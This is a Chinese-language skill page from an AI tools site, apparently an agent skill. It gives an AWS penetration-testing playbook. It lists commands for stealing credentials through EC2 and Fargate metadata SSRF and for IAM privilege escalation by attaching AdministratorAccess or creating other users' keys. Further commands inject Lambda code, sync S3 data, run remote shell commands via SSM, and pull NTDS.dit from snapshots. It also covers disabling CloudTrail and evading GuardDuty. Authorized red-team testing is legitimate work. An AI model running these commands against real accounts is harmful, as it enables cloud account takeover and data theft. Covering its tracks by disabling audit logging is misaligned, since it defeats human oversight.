SuperAPI AI 工具集

AWS Penetration Testing

安全与审计

查看项目

更新于 10-16 04:39

技能介绍

用途

本技能用于对 AWS 云环境进行渗透测试,覆盖 IAM 枚举、权限提升、SSRF 访问元数据端点、S3 存储桶利用、Lambda 代码提取以及红队持久化技术。适用于已获得书面授权的安全评估与红队行动。

前置条件

  • 已配置凭证的 AWS CLI
  • 有效的 AWS 凭证(即使权限较低)
  • 理解 AWS IAM 模型
  • Python 3 与 boto3 库
  • 工具:Pacu、Prowler、ScoutSuite、SkyArk

主要能力

初始枚举

使用 aws sts get-caller-identity 确认当前身份,配置 profile,列出访问密钥,并使用 enumerate-iam 枚举权限。

IAM 枚举

列出所有用户、用户所属组、附加策略、内联策略、策略详情、角色及角色附加策略。

元数据 SSRF(EC2)

利用 SSRF 访问元数据端点(IMDSv1):

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

响应包含 AccessKeyId、SecretAccessKey、Token、Expiration。

对于 IMDSv2(需要 token):

TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate 容器凭证:读取 /proc/self/environ 查找 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI,然后访问 http://169.254.170.2/v2/credentials/CREDENTIAL-PATH。

权限提升技术

Shadow Admin 权限(等同于管理员):

权限 利用方式
iam:CreateAccessKey 为管理员用户创建密钥
iam:CreateLoginProfile 为任意用户设置密码
iam:AttachUserPolicy 将管理员策略附加到自身
iam:PutUserPolicy 添加内联管理员策略
iam:AddUserToGroup 将自身加入管理员组
iam:PassRole + ec2:RunInstances 使用管理员角色启动 EC2
lambda:UpdateFunctionCode 向 Lambda 注入代码

为其他用户创建访问密钥:

aws iam create-access-key --user-name target_user

附加管理员策略:

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

添加内联管理员策略:

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda 权限提升:注入代码后更新函数代码:

aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 存储桶利用

使用 bucket_finder 发现存储桶,常见 URL 模式:

https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

枚举与下载:

aws s3 ls
aws s3 ls s3://bucket-name --recursive
aws s3 sync s3://bucket-name ./local-folder

公开存储桶搜索:https://buckets.grayhatwarfare.com/

Lambda 利用

aws lambda list-functions
aws lambda get-function --function-name FUNCTION_NAME
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM 命令执行

aws ssm describe-instance-information
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 利用

挂载 EBS 卷:创建快照、从快照创建卷、附加到攻击者实例、挂载并访问。

Shadow Copy 攻击(Windows DC):使用 CloudCopy 技术创建 DC 卷快照、共享给攻击者账户、挂载并提取 NTDS.dit 和 SYSTEM,然后使用 secretsdump.py 提取。

从 API 密钥获取控制台访问:使用 aws_consoler 生成登录 URL。

痕迹清理

禁用 CloudTrail:删除 trail、禁用全局事件、禁用特定区域。注意:Kali/Parrot/Pentoo Linux 会因 user-agent 触发 GuardDuty 告警,可使用 Pacu 修改 user-agent。

使用方式

按核心工作流执行:初始枚举 → IAM 枚举 → 元数据 SSRF → 权限提升 → S3/Lambda/EC2 利用 → 痕迹清理。所有命令需在授权范围内执行。

适用场景

  • 已获得书面授权的 AWS 渗透测试
  • 红队行动中的云环境评估
  • 安全审计与合规检查

限制与约束

必须:测试前获得书面授权;记录所有操作以供审计;仅测试授权范围内资源。

禁止:未经批准修改生产数据;未记录的情况下留下持久后门;永久禁用安全控制。

建议:尝试元数据攻击前检查 IMDSv2;利用前彻底枚举;测试后清理测试资源。

故障排除

问题 解决方案
所有命令访问被拒 使用 enumerate-iam 枚举权限
元数据端点被阻止 检查 IMDSv2,尝试容器元数据
GuardDuty 告警 使用 Pacu 自定义 user-agent
凭证过期 从元数据重新获取(临时凭证会轮换)
CloudTrail 记录操作 考虑禁用或日志混淆